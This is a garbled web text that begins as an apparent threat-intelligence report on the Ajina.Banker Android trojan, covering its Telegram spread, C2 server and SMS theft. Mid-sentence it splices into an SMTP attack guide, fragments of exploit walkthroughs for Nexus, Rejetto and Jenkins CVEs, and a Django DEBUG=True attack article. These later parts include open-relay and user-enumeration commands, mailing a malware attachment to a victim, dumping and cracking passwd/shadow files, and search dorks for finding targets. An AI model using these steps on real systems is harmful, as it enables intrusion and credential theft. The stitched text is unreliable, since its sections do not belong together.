Our analysis has revealed intensive attempts by Ajina to utilize messaging platforms, including Telegram, as a channel for disseminating malicious samples. Ajina orchestrated a widespread campaign by creating numerous Telegram accounts, leveraging these accounts to disseminate malware within regional community chats. Evidence suggests that this distribution process may have been partially automated, allowing for a more efficient and far-reaching spread of the malicious software.
To enhance their deception, Ajina crafted messages and sent links and files to lure unsuspecting users. The malware is often disguised as legitimate banking, government, or everyday utility applications, designed to exploit the trust users placed in these essential services in order to maximize infection rates and entice people to download and run the malicious file, thereby compromising their devices. This targeting method resulted in a widespread and damaging malware campaign that compromised numerous devices in the Central Asia region.
Techniques
Files with themes
To further entice potential victims, the adversary shared these malicious files in local Telegram chats, using a variety of deceptive methods. They crafted enticing giveaways and promotional messages that promised lucrative rewards, special offers, or exclusive access to sought-after services. In the following example, one of the following text messages was used for spreading files mimicking the local finance application (SHA1 5951640c2b95c6788cd6ec6ef9f66048a35d6070).
Figure 5.1 Screenshot of the message with the malicious file
Figure 5.2 Scan results on VirusTotal platform
Translated from Uzbek:
arrow_drop_down
These messages were designed to create a sense of urgency and excitement, prompting users to click on the links or download the files without suspecting any malicious intent. The use of themed messages and localized promotion strategies proved to be particularly effective in regional community chats. By tailoring their approach to the interests and needs of the local population, Ajina was able to significantly increase the likelihood of successful infections.
File spamming
Further analysis of Ajina’s distribution techniques revealed instances where they spammed messages containing only a malicious file attachment devoid of any accompanying text. This approach aimed to exploit the curiosity of users who might be inclined to open an unsolicited file or open it accidentally.
These spam campaigns were conducted across multiple accounts, sometimes even simultaneously, suggesting a highly coordinated effort. The simultaneous and widespread nature of these spam messages hints at the potential use of an automated distribution tool.
Figure 6. Screenshot of sending multiple messages
Link to Telegram channel
In addition to spamming messages with malicious attachments, Ajina also sent links to channels that hosted the malicious files, accompanied by promotional texts designed to engender trust and entice users to download the malware.
By directing users to external channels rather than sending files directly within the chat, Ajina aimed to circumvent the common security measures and restrictions imposed by many community chats. Sending files directly within a chat sometimes triggers automatic moderation and can lead to the adversary’s accounts being banned. However, by using links to external channels, they could bypass these restrictions, ensuring that their malicious content remained accessible to potential victims for a longer period of time.
This approach helped the adversary avoid detection and leveraged the trust users have in seemingly legitimate channels. Once users clicked on the link and entered the channel, they were inclined to believe that the files shared there were safe, especially when presented with convincing promotional texts. This strategy highlights the adversary’s adaptability and continuous efforts to refine their methods to evade security measures and maximize the reach of their malware campaign.
Figure 7.1 Screenshot of sending a link to channel
Figure 7.2 Content of channel
Link to web-resource
Some examples were found when the adversary sent links to web resources.
Figure 8. Screenshot of a message containing a link to web-resource
Accounts
Our investigation uncovered that the adversary established multiple accounts to execute their malicious campaign effectively. These accounts were meticulously set up to blend in with regular users and evade detection for as long as possible. Below, we provide detailed information on some of the identified accounts, including their account names, usernames, and user IDs, along with the volume of messages sent from each account.
Last Seen Name
INFINITOSSS MILLENNIUM
—
Barno Umarova
—
Оксана Цветкова
Last Seen Username
infinitosss
—
—
—
—
User ID
6571903171
6856449327
6824678523
6477339333
7027991392
Number of messages
238
175
76
54
25
Last Seen Name
Ренат
Алевтина!
Эмилия!
Святослав Пономарев
Eduard Bocan
Last Seen Username
—
—
—
—
EduardBocan
User ID
6406880636
7119728862
6556126401
7158481885
6125515928
Number of messages
16
48
46
10
43
Last Seen Name
Никон Дементьев
Эрнест Щербаков
شوكت
Лукия Рыбакова
Нинель Мамонтова
Last Seen Username
—
—
—
—
—
User ID
7133377920
6887020479
5526643036
6344107060
6701781993
Number of messages
7
2
2
9
13
Last Seen Name
Jason99
Linda Castaneda
Alicia Willis
Андреева Родригес
Last Seen Username
—
—
—
Andreeva_5676
User ID
6553097862
6574219148
5668418863
6716964266
Number of messages
2
1
3
1
These accounts were used to distribute the malware through various local community chats. By using multiple accounts, sometimes simultaneously, the adversary was able to increase the reach and frequency of their malicious content. The adversary’s ability to maintain and operate numerous accounts simultaneously, while consistently delivering tailored messages, suggests the possible use of automated distribution tools. These tools enabled the adversary to manage large-scale operations with precision, further amplifying the impact of their malicious campaign. This approach to account management indicates a high level of planning and coordination.
Malware analysis
Fraud Protection telemetry found 1,402 packages with package names com.example.smshandler (187 samples) and org.zzzz.aaa (1,215 samples) between 30 November 2023 and 31 July 2024 across 5,197 devices. Analyzed samples share a common code structure and subset of permissions that are requested.
The first known infection occurred at 30 November 2023 via package name com.example.smshandler (SHA1 cc6af149f1da110a570241dde6e3cfd0852cb0d8) with permission list:
According to Fraud Protection telemetry data, the first known sample of this malware uploaded to VirusTotal is “Узбек �екс 🔞🔞🔞” (SHA1 84af2ce3a2e58cc8a70d4cc95916cbfe15f2169e). It was uploaded to the VirusTotal platform in January 2024, providing the initial glimpse into this malicious campaign.
Figure 9. Detections at the moment of analysis
Once the trojan is launched it connects to the gate server 79[.]137[.]205[.]212:8080, generates AES encryption key, and sends it to the gate server along with a hard-coded worker’s name and userId that is also stored into SharedPreferences.
All messages except action 1 are encrypted with AES/GCM/NoPadding cipher suite.
Further research shows that messages are JSON-encoded, but are sent via raw TCP socket, not wrapped in HTTP. The general structure of messages contains a numeric action field with action type and other fields with arbitrary data depending on the action type. For example, if something goes wrong, the trojan sends a message to the gate server with the following structure:
{
"action": 5,
"msg": "string representation of the occured exception"
}
From the victim’s point of view, once the trojan is initiated, it loads a background image from an external legit resource and requests the user to grant these permissions:
If the user grants permissions via their mobile device’s operating system settings menu, the trojan then launches an intent that activates a third-party application related to trojan’s legend:
Figure 15. Starting a third-party activity
If permissions are not granted, the trojan sends a notification to the gate server (action 6).
When permissions are granted, the trojan collects information from the infected device and sends it to the gate server (action 3). The following is the list of information collected:
for each active SIM card
MCC+MNC codes of current registered operator
Name of the current registered operator
ISO-3166-1 alpha-2 country code equivalent of the MCC (Mobile Country Code) of the current registered operator or the cell nearby
ISO-3166-1 alpha-2 country code equivalent for the SIM provider’s country code
MCC+MNC codes of the provider of the SIM
Service Provider Name (SPN)
Phone number
Is SPN “known” or not
list of installed financial applications originated from Armenia, Azerbaijan, Iceland, Kazakhstan, Kyrgyzstan, Pakistan, Russia, Uzbekistan and some international ones
sent SMS
Recipient
Body
Date
received SMS
Sender
Body
Date
The trojan abuses the <queries> element in the app’s manifest instead of abusing QUERY_ALL_PACKAGES permission, and therefore it can get information only about what is declared in manifest packages. However, it does not prevent the expansion of the list of targets for a particular sample because Trojan will send to the gate server every incoming SMS, including for banks not included in the list of targets (action 2). This allows, for example, the initial registration of accounts in organizations that are not the target of the trojan.
Figure 16. Broadcast receiver for incoming SMSes
While collecting SIM-card info, the trojan checks if the SPN is “known” and, if it is, sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device.
Country
USSD
Armenia
*187#
*420#
*525#
Azerbaijan
*137#
*540#
*666#
Kazakhstan
*160#
Kyrgyzstan
*112#
*212#
Russia
*100#
*103#
*111*0887#
*116*106#
*200#
*201#
*205#
*303#
Tajikistan
*111#
*99#
Ukraine
*161#
*61#
Uzbekistan
*100*4#
*150#
*303#
*450#
*664579#
After this USSD response is received, the trojan sends the response info to the gate server (action 4):
Figure 17. USSD response callback
There is no difference between samples with com.example.smshandler package name from first and last infections with publicly available samples.
Ajina.Banker.B
We gathered several samples from the org.zzzz.aaa group and found little differences in the code structure. Further analysis of the appearance of new samples and code similarities lead us to the conclusion that this family is still under active development, and we can suggest that org.zzzz.aaa is the new version of the same family as com.example.smshandler.
Figure 18. New samples stats
As shown above, another group of samples has the org.zzzz.aaa package name. The first known infection occurred on February 18 2024, while the earliest publicly available sample was detected on 20 February 2024, and is still the most downloaded for now.
One of the freshest samples has an interesting but less popular difference. It is a new execution flow branch showing another view instead of just a background image. Based on the names of variables of type TextInputEditText, we assume that this is something like a phishing page, but we are not able to trigger this branch.
Figure 19. New activity layout
Along with this new View there is a new action 7 message for sending user-provided phone number, bank card number and PIN-code.
Figure 20.The user-inputed card info is sent to gate server
It appears that this new feature is developed to primarily target users in Azerbaijan because of the hard-coded phone number prefix and text language on the Toast popup.
There are some additional features that are common for most of analyzed org.zzzz.aaa samples:
new packages of interest
Accessibility Service abuse:
prevent uninstallation
grant permissions
Requests for additional permissions. However, we did not found calls of Android Platform API in the analyzed samples that requires such permissions
READ_CALL_LOG
GET_ACCOUNTS
READ_CONTACTS
Opens another legitimate app instead of a browser when permissions are granted
There are several examples of layouts from discovered samples with various legends:
Figure 21.1 Example of interface of the new samples
Figure 21.2 Example of interface of the new samples
Figure 21.3 Example of interface of the new samples
Figure 21.4 Example of interface of the new samples
Infrastructure
As mentioned before, the malware only sends exfiltrated data over raw TCP in JSON to the gate server. There were no capabilities to receive commands found. But we’ve managed to find a web panel of “SMS handler”, which refers us to the version of package name com.example.smshandler. It’s possible to find further servers by the same response, using search by body hash (SHA1 1a9c98808a547d4b50cc31d46e19045bcd2cfc1b).
Figure 22.1 Discovery of the “SMS handler” Web Panel
Figure 22.2 Scan result for responses containing Web Panel
On all of the adversaries servers we can find certificates with “WIN-PDDC81NCU8C” issuer and subject common name. However, this common name is generic and widely used by a specific hosting service according to Shodan.
Figure 23.1 Certificate found on gate server
Figure 23.2 Number of certificates with the same common name
We’ve seen 9 servers involved in this campaign, some of them shared the same Etags (e.g. 1718668565.8504026-495-535763281). Network infrastructure involved in this attack is shown on the graph analysis below.
Figure 24. Screenshot of graph analysis of network infrastructure
Targets
As we’ve mentioned above, one significant aspect of our findings is based on the analysis of Android package names utilized in this campaign. Many of these packages mimicked popular regional apps, such as local banking applications, government service portals, or everyday utility tools. By replicating the appearance of these trusted applications, the adversary increased the likelihood of users downloading and installing the malware. So the displayed names can be a trustworthy indication of the target region.
Analysis indicates that most of these malware samples were specifically designed to target users in Uzbekistan, suggesting that the adversary deliberately focused on this region. But there are also a few other regions that have been targeted by the adversary. The main reason is that the samples have hardcoded checks for attributes distinctive for other countries. We’ve also seen AM-CERT (National CERT/CSIRT Armenia) reporting this campaign.
During the analysis we’ve also found the use of specific country phone provider codes embedded within the malicious APKs. These codes indicate that the adversary has an even wider pool of target countries. The adversary checks for Service Provider Network (SPN) and then sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device. Based on this we can assume potential regions of interest, from where the user data could be possibly stolen.
Figure 25. Distribution of supported SPNs and apps of interest per country hardcoded in sample
Attribution
The analysis of the malware has shown that the malicious files contain data about different affiliates. This leads us to conclude that it’s based on an affiliate programme, where the support for the initial project is led by a small group of people, and all the distribution and infection chains are made by affiliates working for the percentage.
Sample named “Вип Контент.apk” – “VIP Content.apk” in english – (SHA1 b4b9562a9f4851cba5761b1341f58f324f258123) was seen by MalwareHunterTeam and mentioned in Twitter post in January 28, 2024. One of the replies written to the post by APK–47 highlights an interesting username hardcoded as a name of one of the workers. The username “@glavnyypouzbekam” leads to the Telegram account named “Travis Bek” with description “Главный по узбекам” which means “Chief for Uzbeks”.
Figure 26.1 Screenshot of the Twitter post by APK–47
Figure 26.2 Screenshot of the Twitter post by APK-47
Group-IB Threat Intelligence system has found the following activity related to the Telegram account mentioned. Adversary participated in programmers chats, searched for “Java coder” and, according to his message, to an existing team. Detected user activity is shown on the figures below.
Figure 27.1 User activity found by Group-IB Threat Intelligence
Figure 27.2 User activity found by Group-IB Threat Intelligence
We’ve also found a Telegram bot connected to this campaign by username “@glavnyypouzbekam” contained in its description. Bot with the username “@glavnyypouzbekambot” has information about the possibility of earning money online and an invitation to join written in Russian.
Figure 28.1 Telegram bot found during the investigation
Figure 28.2 Telegram bot found during the investigation
We assume that highly likely due to its uniqueness, the hardcoded worker’s name “@glavnyypouzbekam” is connected to the discovered Telegram activity. Based on our findings, we assume that the adversary standing behind this account is one of the operators of the Ajina malicious campaign. The hiring of Java coders, created Telegram bot with the proposal of earning some money, also indicates that the tool is in the process of active development and has support of a network of affiliated employees. Worth noting, that soon after the adversary’s name was posted on Twitter, current Telegram account was deleted.
Prevention
To protect Group-IB customers from threats related to Ajina.Banker malware and other similar threats, Group-IB Fraud Protection uses events/rules to detect and prevent Ajina.Banker and other similar malware:
For confirmed malware samples Ajina.Banker:
Group-IB’s Fraud Protection maintains an extensive database of all detected malware. When our system detects applications from the list of mobile Trojans downloaded to an end-users device, we trigger the appropriate events to notify our customers promptly.
Figure 29. Screenshot of event from Group-IB Fraud Protection system
When the malware is detected on the user’s device:
Once the trojan is successful, sensitive customer data typically falls into the hands of the threat actor, who then seeks to monetize this data. Often, the threat actor or their software will log into the stolen account. In such cases, a new device may appear when accessing the user account. Consequently, a rule has been developed to monitor accounts where a mobile banking trojan has been confirmed and to detect logins from new devices.
When new versions of a given Trojan family appear:
For cases where the malware has not yet been added to the malware database, a new rule has been developed that focuses on the trojan’s specific characteristics. In particular, we check the characteristics of all software from a non-legitimate source for the ability to read SMS. These alerts are also transmitted to banks in the form of specific event types, increasing the likelihood of preventing fraudulent transactions by threats.
Figure 30. Screenshot of event from Group-IB Fraud Protection system
Conclusion
The case of Ajina highlights how quickly malware developers can appear, set up distributional chains and evaluate their tools. The direct communication between the threat actor and victim also makes Ajina.Banker an effective malware type in terms of keeping low detect rate on the first stages. While Group-IB does not have definitive data on the amount of money stolen by Ajina, the methods harnessed by malicious actors are cause for concern.
Recommendations
The security of mobile applications and operating systems is improving rapidly. However, it is premature to completely write-off Android banking Trojans entirely. In our experience, banking Trojans are still highly active, with threat actors widely distributing modified Trojans based on publicly available source code.
A good example of this trend is Ajina.Banker, which poses a significant threat not only to end-users of banking applications but also the entire banking sector itself.
For users
Below are some basic recommendations on protecting mobile devices from banking Trojans like Ajina.Banker.
Always check for updates on your mobile device. Maintaining your mobile devices updated will make them less vulnerable to such threats.
Avoid downloading applications from sources other than Google Play. However, it’s important to note that even Google Play cannot guarantee complete security. Always check the permissions that an application requests before installing it.
Do not click on links contained within suspicious SMS messages.
If your device has been infected, do the following:
Disable network access.
Freeze any bank accounts that may have been accessed from your device.
Contact experts to receive detailed information about the risks that the malware could pose to your device.
For organizations
The Group-IBThreat Intelligence team will continue to track Ajina.Banker and update our database with new indicators related to this trojan. Additionally, our Threat Intelligence team will notify customers when their application is targeted by Ajina.Banker, or any other Android malware we track.
For organizations that wish to protect their customers, implementing a solution that monitors user sessions – such as Group-IB Fraud Protection – can prevent malware operators from defrauding their clients and damaging their reputations.
Group-IB’s Fraud Protection detects the latest fraud techniques, phishing preparation, and other types of attacks. The platform integrates data from Group-IB’s attribution-based Threat Intelligence system. Exclusive information about cybercriminals, malware, adversary IP addresses, and compromised data (logins, passwords, bank cards) helps develop anti-fraud systems and cybersecurity teams, which allows the latter to identify intruders and their actions.
In this way, Fraud Protection “catches” banking Trojans and detects unauthorized remote access, web injections, cross-channel attacks, and personal data collection. Group-IB’s solution implements patented algorithms that help detect infected devices without the client’s involvement and without installing additional software.
Fraud Matrix
Tactic
Technique
Procedure
Resource development
Malware
Attackers use Ajina.Banker malware to gain access to user accounts
Scam workers
Attacker has a network of affiliated employees acting with financial motivation, spreading Ajina.Banker that victimizes ordinary users
Social Network Account
Attackers use Telegram accounts to spread Ajina.Banker
Trust abuse
Bluffing
Attackers promise easy earnings and lucrative offers to convince end users to install Ajina.Banker
Fake application
Ajina.Banker mimics popular banking apps and payment systems
Enabling Accessibility Service for Malware
Ajina.Banker asks for Accessibility Service permission to prevent uninstallation or uninstall itself
End-user interaction
Phishing
Ajina.Banker expended malicious applications via Telegram
Pushing to install Android Malware
Attackers requires users to download, install the .APK file manually
Scam ads
The description of Ajina.Banker in Telegram is accompanied by an advertising description offering bonuses and cash rewards
Scam Message in Social Network/Instant Messenger
Ajina.Banker is promoted through mailings in Telegram groups and in personal messages
Credential access
Phone Number Capture
Ajina.Banker makes a USSD request to get the phone number to be sent to the gate server
2nd Factor Capture
Ajina.Banker reads all SMS including authentication codes, allowing fraudsters to pass the 2nd Factor
Card PAN/EXP/CVV Capture
Attackers, after logging into a user’s account, are able to obtain full information about the user’s bank cards
Credential Capture
Having access to a user account allows attackers to gain full information about the account holder
SMS/Push Interception
Ajina.Banker collects all SMS on the user’s device, even SMS from non-target organizations
Account access
Access from Fraudster Device
Attackers log into the account from a new device with the user’s phone number and confirmation SMS
MITRE ATT&CK® Matrix
Tactic
Technique
Procedure
Initial Access (TA0027)
Phishing (T1660)
Ajina spreaded malicious applications via Telegram.
Ajina.Banker registers to receive system-wide broadcast intents such as receiving SMS message, device boot completion, network changes, battery charging state changes, locking and unlocking the screen.
Defense-evasion (TA0030)
Indicator Removal on Host: Uninstall Malicious Application (T1630.001)
Ajina.Banker can uninstall itself.
Masquerading: Match Legitimate Name or Location (T1655.001)
Ajina.Banker mimics legitimate applications, trying to match their names and icons.
Credential-access (TA0031)
Access Notifications (T1517)
Ajina.Banker can access SMSes.
Discovery (TA0032)
Software Discovery (T1418)
Ajina.Banker checks for presence of some hardcoded applications (mostly banks).
System Network Configuration Discovery (T1422)
Ajina.Banker checks for SPN and then sends a USSD request to get the phone number.
Collection (TA0035)
Access Notifications (T1517)
Ajina.Banker can access the notifications.
Protected User Data: SMS Messages (T1636.004)
Ajina.Banker can access the SMS messages.
Command-and-control (TA0037)
Non-Standard Port (T1509)
Ajina.Banker sends data in raw TCP to 8080 port.
Exfiltration (TA0036)
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol (T1639.001)
SMTP (Simple Mail Transfer Protocol) is a core component of the internet’s email infrastructure, responsible for sending and receiving emails. It’s a protocol within the TCP/IP suite, frequently working alongside POP3 or IMAP to store emails on servers and allow users to access them. Despite its widespread use, SMTP has certain vulnerabilities that make it a popular target for penetration testers and hackers.
SMTP Commands:
HELO It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.
EHLO An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.
MAIL FROM With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.
RCPT TO It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.
SIZE This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.
DATA With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.
VRFY The server is asked to verify whether a particular email address or username actually exists.
TURN This command is used to invert roles between the client and the server, without the need to run a new connaction.
AUTH With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.
RSET It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).
EXPN This SMTP command asks for a confirmation about the identification of a mailing list.
HELP It’s a client’s request for some information that can be useful for the a successful transfer of the email.
QUIT It terminates the SMTP conversation.
Reconnaissance and Information Gathering
Subdomain Enumeration & DNS Misconfigurations: Before jumping into SMTP directly, expand the reconnaissance section to include subdomain enumeration for deeper target discovery. Tools like amass or sublist3r could be used here to identify potential SMTP servers:Copy
amass enum -d <target-domain>
Subdomains could potentially host misconfigured or less secure SMTP servers.
1.1. Identify Open SMTP Ports
Start by using tools like Nmap to identify open ports, typically 25 (SMTP), 465 (SMTPS), and 587 (Submission over TLS):Copy
nmap -p25,465,587 --open <target-IP>
Using Metasploit:Copy
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS <target-IP>
set THREADS 10
run
1.2. MX Record Discovery
Discover Mail Exchanger (MX) records for the target organization:Copy
dig +short mx <target-domain>
This will return the mail servers responsible for receiving emails for the domain.
1.3. Banner Grabbing
Banner grabbing helps identify the SMTP server version, which could contain known vulnerabilities. Use Netcat or OpenSSL to connect and grab the banner:Copy
Mail server type (Microsoft ESMTP, Postfix, Exim, etc.)
Any other information leaks (internal hostnames)
Enumeration and Vulnerability Discovery
2.1. Enumerate SMTP Commands
Use Nmap’ssmtp-commands script to enumerate supported SMTP commands. This may give insights into how to interact with the server, and whether certain attack vectors (like relay attacks) are possible.Copy
nmap -p25 --script smtp-commands <target-IP>
2.2. Open Relay Testing
An open SMTP relay can be abused to send spam or phishing emails without authentication. Use the smtp-open-relay Nmap script to test for this vulnerability:Copy
nmap -p25 --script smtp-open-relay <target-IP>
Using Telent:Copy
telnet <target-IP> 25
helo attacker.com
mail from: attacker@attacker.com
rcpt to: victim@target.com
data
This is a test email to verify open relay.
.
quit
If the server is vulnerable, you will be able to send emails without being an authenticated user.
2.3. Verify Users
SMTP servers can sometimes allow username verification using RCPT TO and VRFY commands, revealing valid email accounts on the system.Copy
telnet <target-IP> 25
HELO test.com
MAIL FROM: attacker@attacker.com
RCPT TO: victim@target.com
If you get a 250 OK response, the email address is valid.
You can automate this using tools like smtp-user-enum:Copy
Exploiting Information Disclosure and Misconfigurations
3.1. Internal Server Name Disclosure
Some SMTP servers may leak internal server names in the response to commands like MAIL FROM:. For example:Copy
MAIL FROM: attacker@example.com
Response:Copy
250 me@INTERNAL-SERVER.local...Sender OK
This internal information could be used in later attacks.
3.2. NTLM Authentication Information Disclosure
If the SMTP server supports NTLM authentication, you can extract sensitive information by interacting with the authentication process. Copy
nmap --script smtp-ntlm-info.nse -p25 <target-IP>
Using Metasploit:Copy
use auxiliary/scanner/smb/smb_ntlm_credential_dump
set RHOSTS <target-IP>
run
Password Cracking and Credential Harvesting
4.1. Sniffing Cleartext Credentials
SMTP running on port 25 (non-SSL) may allow you to capture email credentials via network sniffing using Wireshark or tcpdump. Look for cleartext AUTH LOGIN or AUTH PLAIN credentials.
Wireshark filter:Copy
tcp.port == 25 && tcp contains "AUTH"
4.2. SMTP Brute-Forcing
If authentication is required but weak credentials are suspected, use brute-forcing tools such as Hydra: Copy
Once access is gained to the SMTP server or an open relay is found, it is possible to send phishing emails, malware, or perform further reconnaissance.
5.1. Send an Email from Linux Command Line
Copy
sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Urgent" -m "Please open the attached document" -a /path/to/malware.pdf
Test antivirus defenses by sending an EICAR test file to see if the server scans attachments for malware. This helps identify email gateway filtering systems:Copy
Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with Remote Access VPN or Mobile Access Software Blades. A security fix that mitigates this vulnerability is available.
Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
Finding Targets
To find potential targets, use Fofa (similar to Shodan.io):
Next chose your target and add it to list.txt file in this format:
https://ip_address
Run the Exploit
Copy
python3 CVE-2024-4956.py -l list.txt
The output is passwd and shadow files that found:
Crack the hash
Now after you find both file passwd & shadow you can try crack the hash with JohnTheRipper, after running the exploit you have 2 files, passwd & shadow, so you can merge them into one file and try crack them (I used rockyou.txt but it can be any password wordlist):Copy
unshadow passwd shadow > unshadowed.txt
Copy
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
POC – Unauthenticated RCE Flaw in Rejetto HTTP File Server – CVE-2024-2369
Overview
CVE-2024-23692 is a critical vulnerability in Rejetto HTTP File Server (HFS) version 2.3m, allowing unauthenticated remote code execution (RCE).
This flaw enables attackers to execute arbitrary code on the server, posing significant security risks. In this post, we examine Rejetto HFS, the affected versions, the impact of the vulnerability, and the timeline of its discovery and remediation.
Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
Finding Targets
To find potential targets, use Fofa (similar to Shodan.io):
CVE-2024-23897 is a critical vulnerability in Jenkins that allows unauthenticated attackers to read arbitrary files on the Jenkins controller’s file system. This flaw arises from improper handling of command arguments in the args4j library, specifically in command-line operations where an @ character followed by a file path can lead to unauthorized file content exposure.
This vulnerability poses a significant risk as it can enable attackers to access sensitive information, such as cryptographic keys and configuration files, which may be leveraged for further exploitation, including remote code execution (RCE). The issue is particularly alarming given the widespread use of Jenkins in CI/CD pipelines and the number of exposed Jenkins instances globally.
A security fix addressing this vulnerability has been released in Jenkins versions 2.442 and later, as well as Jenkins LTS version 2.426.3 and later. Users are strongly advised to upgrade their Jenkins installations to mitigate this risk and protect sensitive information.
Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
Getting Started
Finding Targets
To find potential targets, use Fofa (similar to Shodan.io):
Fofa Dork: header=”X-Jenkins: 2.426.2″
Affected Jenkins versions include up to 2.441 and up to 2.426.2 for Jenkins LTS.
Misconfigurations are often the weakest link in an otherwise secure environment. One of the most dangerous yet easily overlooked misconfigurations in Django is leaving DEBUG=True in a production environment. From an attacker’s perspective, this is a goldmine for reconnaissance and exploitation. This article explores how attackers can exploit this setting and the top five valuable data types they can retrieve from a vulnerable Django application.
What Does DEBUG=True Do in Django?
In Django, the DEBUG setting controls whether debug information, including error stack traces and detailed request information, is shown when an error occurs. With DEBUG=True, Django outputs a verbose error page containing sensitive information to aid developers during the development process.
From an Attacker’s Point of View:
When an attacker finds a Django site running with DEBUG=True, it’s as though the application is openly offering detailed internal information to help them craft their attack. These verbose error messages contain everything from the server’s environment variables to installed middleware and even potential entry points for attack.
How Attackers Identify Django Sites with DEBUG=True
Scanning the Web for Vulnerable Sites
Attackers use automated tools like Shodan, FOFA, and Censys to scour the web for Django applications. These tools allow attackers to search for specific error messages and patterns associated with DEBUG=True.
Practical Method:
FOFA Query:
"DEBUG=True" && "Django" && "RuntimeError"
Django — FOFA
These search engines scan the internet for open ports and services and then analyze the HTTP responses to see if they contain known Django debug patterns. With these search results, attackers can compile a list of vulnerable websites running Django with DEBUG=True.
Data Leaked via Django Debug Pages
When DEBUG=True is set, attackers can harvest valuable information directly from the debug pages.
Practical Data Retrieval:
Full Stack Trace:
The stack trace provides insight into how the code executes, where errors occur, and potentially exposed variables in requests and responses.
Practical Use: Attackers can identify code execution paths and look for points where input is processed, enabling targeted attacks like SQL injection or file inclusion exploits.
Request and Response Data:
Attackers gain insight into cookies, CSRF tokens, and headers from both the request and the response.
Practical Use: Using this information, attackers can perform session hijacking, steal CSRF tokens, or craft more effective social engineering attacks.
Practical Use: By analyzing installed apps and middleware, attackers can identify vulnerable third-party libraries or unpatched components.
Database and File Paths:
While the database password might not be directly shown, other details like the database engine, file paths, and schema are often exposed.
Practical Use: Attackers could exploit known vulnerabilities in the database system or file system, or even find files that expose further credentials or sensitive data.
4. Practical Methods for Exploiting a Django DEBUG=True Configuration
Leveraging the Stack Trace
Once a vulnerable site is identified, the next step is to extract as much information as possible from the stack trace. This includes sensitive details like:
File paths:
File "/var/www/myapp/views.py" in render
The file path gives an attacker clues about the structure of the server and potential locations of sensitive files (config files, logs, etc.). Seeing which functions and methods are being called and how they handle input can expose SQL injection points, XSS vulnerabilities, or logic flaws.
CSRF Token Abuse
If an attacker can retrieve the CSRF token, they can carry out Cross-Site Request Forgery attacks. If the token is tied to an active session, an attacker can:
Perform unauthorized actions on behalf of a user (e.g., making purchases or transferring funds).
Hijack user sessions if combined with a stolen session cookie.
CSRF
Database Exploitation
Attackers can retrieve partial database configurations (such as the database type and schema) from debug pages and combine them with other known vulnerabilities to:
Execute SQL injections.
Bypass authentication or escalate privileges by understanding how the database queries are processed.
The Top 5 Valuable Data Attackers Can Retrieve from DEBUG=True
SECRET_KEY: While Django tries to hide this in debug output, it is sometimes retrievable through indirect methods or misconfigurations in related files. With the SECRET_KEY, attackers can:
Generate forged session tokens.
Bypass authentication mechanisms.
Database Credentials: Exposure of database engines or schemas can lead to SQL injection or direct access to the database if credentials are mismanaged.
CSRF Tokens: Once CSRF tokens are exposed, attackers can manipulate user sessions to perform malicious actions or hijack sessions entirely.
Session Cookies: If session cookies are exposed in the request/response data, attackers can steal active user sessions and impersonate legitimate users.
Installed Middleware and Apps: By knowing what middleware and third-party applications are installed, attackers can exploit known vulnerabilities in these packages, especially if they are outdated.
How Developers Can Prevent These Attacks
As you can see, leaving DEBUG=True in production provides attackers with a wealth of sensitive information. To prevent such issues:
Always set DEBUG=False in production.
Use environment-specific settings to ensure no sensitive data is leaked in error messages.
Implement robust logging practices that hide sensitive data but still provide useful information for debugging.
For Django developers, securing applications against misconfigurations like this is crucial to safeguarding against exploitation.
Figure 28: Creating a service with the name “9jzf5”
